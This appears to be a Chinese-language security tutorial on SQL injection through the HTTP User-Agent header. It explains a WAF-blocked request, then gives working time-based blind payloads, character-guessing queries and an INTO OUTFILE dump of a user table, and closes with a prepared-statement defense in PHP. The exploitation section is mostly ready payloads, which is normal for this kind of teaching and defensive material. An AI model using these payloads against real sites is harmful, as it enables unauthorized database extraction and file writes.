一)前情提要:
我的一个宿舍友提及,他不能理解为什么一个访问主页的简单的 GET 请求会被 WAF 屏蔽,他被屏蔽的HTTP请求如下:
GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+'
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
二)问题分析:
这样的HTTP请求头是再普通不过了的,可能我们乍一看没有觉得没有什么问题,但是其实如果再仔细点看就会发现这个HTTP请求头中的 User-Agent 值包含了SQL语句,这其实是攻击者试图对 User-Agent 值进行 SQL 注入。
通常来说,我们的 SQL 注入是对 URL 及其参数进行的,但这里攻击者却将 SQL 查询语句隐藏在了 HTTP 头部的 User-Agent 字段之中,这种技术通常被各种扫描器所使用,例如,sqlmap 的 -p 参数会尝试对 HTTP 请求头部字段进行注入。此攻击属于 SQL 时间盲注,一般的 SQL 注入会将查询的结果返回到 WEB 页面中(也就是返回给攻击者),而盲注的攻击者则看不到查询的输出,所以他们会另辟蹊径使用其他的方式来判断注入——使 WEB 服务器产生错误或者产生延时:使用 sleep 会是 WEB 服务器等待 20 秒才进行响应,攻击者可以根据响应是否产生延时来判断是否存在注入漏洞。
三)漏洞利用:
当我们通过使用burpsuite抓取数据包并发送到repeater模块对User-Agent 字段值进行修改,构造最基本的SQL语句 (select(sleep(5))))#
去确定网站是否存SQL注入漏洞,如果延时5秒才响应那么就证明存在SQL注入:
GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)', (select(sleep(5))))#
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
注:类似的有User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
服务器将在25(5 * 5)秒后响应-与User-Agent:标头的值相同,如果想让服务器立即响应。可以发送
值sleep(5 * 5 * 0),它等于0。
而当5秒延时过后该请求发送,此时实际执行的SQL语句如下:
INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select(sleep(5))))#','2020-12-19 20:15:41')
猜数据,读文件:
User-Agent的值如下:
User-Agent: Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#
此时SQL语句是:
INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#','2020-12-19 21:04:49')
把user 表的内容读出来并写入到服务器文件中:
INSERT INTO log(ip,ua,dt) VALUES('127.0.0.1','Anka9080',(select * from user into outfile '盘/绝对路径/1.txt'))#','2020-12-19 21:30:04'
其他 HTTP Header 的注入与 User-Agent 的注入是一样道理的。
四)防御:
防御SQL注入的方法之一就是进行预编译(核心就是 prepare()函数),简单可靠,不需要做任何的过滤,做到了数据和代码的分离的效果:
$link = new mysqli('localhost', 'analytics_user', 'aSecurePassword', 'analytics_db');
$stmt = $link->prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)");
$stmt->bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s"));
$stmt->execute();
?>
解析:先将 SQL 查询语句使用 prepare 进行准备,随后使用 bind_param 绑定两个参数(User-Agent 和日期),最后才是使用 execute 执行查询。bind_param 可以确保一些 SQL 特殊字符会先被进行转义,随后才被执行。